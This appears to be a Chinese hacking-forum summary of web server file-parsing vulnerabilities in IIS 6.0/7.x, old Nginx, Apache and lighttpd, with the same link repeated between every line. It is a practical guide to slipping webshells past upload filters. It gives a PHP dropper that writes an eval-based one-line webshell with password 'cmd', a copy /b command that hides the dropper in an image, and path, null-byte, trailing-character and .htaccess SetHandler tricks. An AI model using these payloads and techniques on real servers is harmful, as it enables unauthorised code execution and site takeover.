Author:laterain  
From:90sec

**[+]IIS 6.0**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**目录解析：/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**IIS6.0 会将 xx.jpg 解析为 asp 文件。**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**后缀解析：/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**IIS6.0 都会把此类后缀文件成功解析为 asp 文件。**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**（站长评论：IIS6.0解析漏洞的成因，可以查阅罗哥写的一篇短文：[IIS 文件名解析漏洞扼要分析](http://lcx.cc/?i=1958" \t "_blank)）**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去，剩下/xx.asp}**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**（站长评论：发现错误，并不是不允许存在，这种路径叫做“NTFS数据流”，具体见：[IIS6使用冒号上传漏洞，发现IIS6漏洞(上传利用)](http://lcx.cc/?i=2448" \t "_blank) 底下的评论）**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**默认解析：/xx.asa /xx.cer /xx.cdx**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**IIS6.0 默认的可执行文件除了 asp 还包含这三种**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**（站长评论：这种主要是由于在 IIS 默认配置中，这几个后缀默认由 asp.dll 来解析，所以执行权限和 .asp 一摸一样，你可在配置中自行删除该后缀，以防止安全隐患）**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**[+]IIS 7.0/IIS 7.5/Nginx <=0.8.37**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**IIS 7.0/IIS 7.5/Nginx <=0.8.37**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**常用利用方法： 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**e.g. copy xx.jpg/b + yy.txt/a xy.jpg**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**######################################**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**/b 即二进制[binary]模式**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**/a 即ascii模式 xx.jpg正常图片文件**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($\_POST[cmd])?>');?>**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**意思为写入一个内容为 <?php eval($\_POST[cmd])?> 名称为shell.php的文件**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**######################################**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php 即可执行恶意文本。**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**然后就在图片目录下生成一句话木马 shell.php 密码 cmd**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**[+]Nginx <=0.8.37**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**在Fast-CGI关闭的情况下，Nginx <=0.8.37 依然存在解析漏洞**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**（站长评论：从 /test.jpg/x.php 演变过来的，具体可以参考：[Ngnix 空字节可远程执行代码漏洞](http://lcx.cc/?i=1716" \t "_blank)）**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**[+]Apache**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**后缀解析：test.php.x1.x2.x3**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**Apache将从右至左开始判断后缀，若x3非可识别后缀，再判断x2，直到找到可识别后缀为止，然后将该可识别后缀进解析**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**test.php.x1.x2.x3 则会被解析为php**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**经验之谈：php|php3|phtml 多可被Apache解析**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**（站长评论：关于 apache 解析漏洞可以查阅“**[**Apache 漏洞之后缀名解析漏洞**](http://lcx.cc/?i=337)**”）**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**[+]其他一些可利用的**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点，这也是可以被利用的！**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可得到shell。**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行，Linux允许这类文件存在}**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**如果在Apache中.htaccess可被应用（Apache的配置文件httpd.conf中对目录的AllowOverride设置为All时，apache会应用目录下.htaccess中的配置 By sfasfas），**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**且可以被上传，那可以尝试在.htaccess中写入:**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**[+]lighttpd**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**xx.jpg/xx.php**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)

**[Add by El4pse]**

[**IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞总结**](http://www.hackqing.com/?FoxNews=585.html)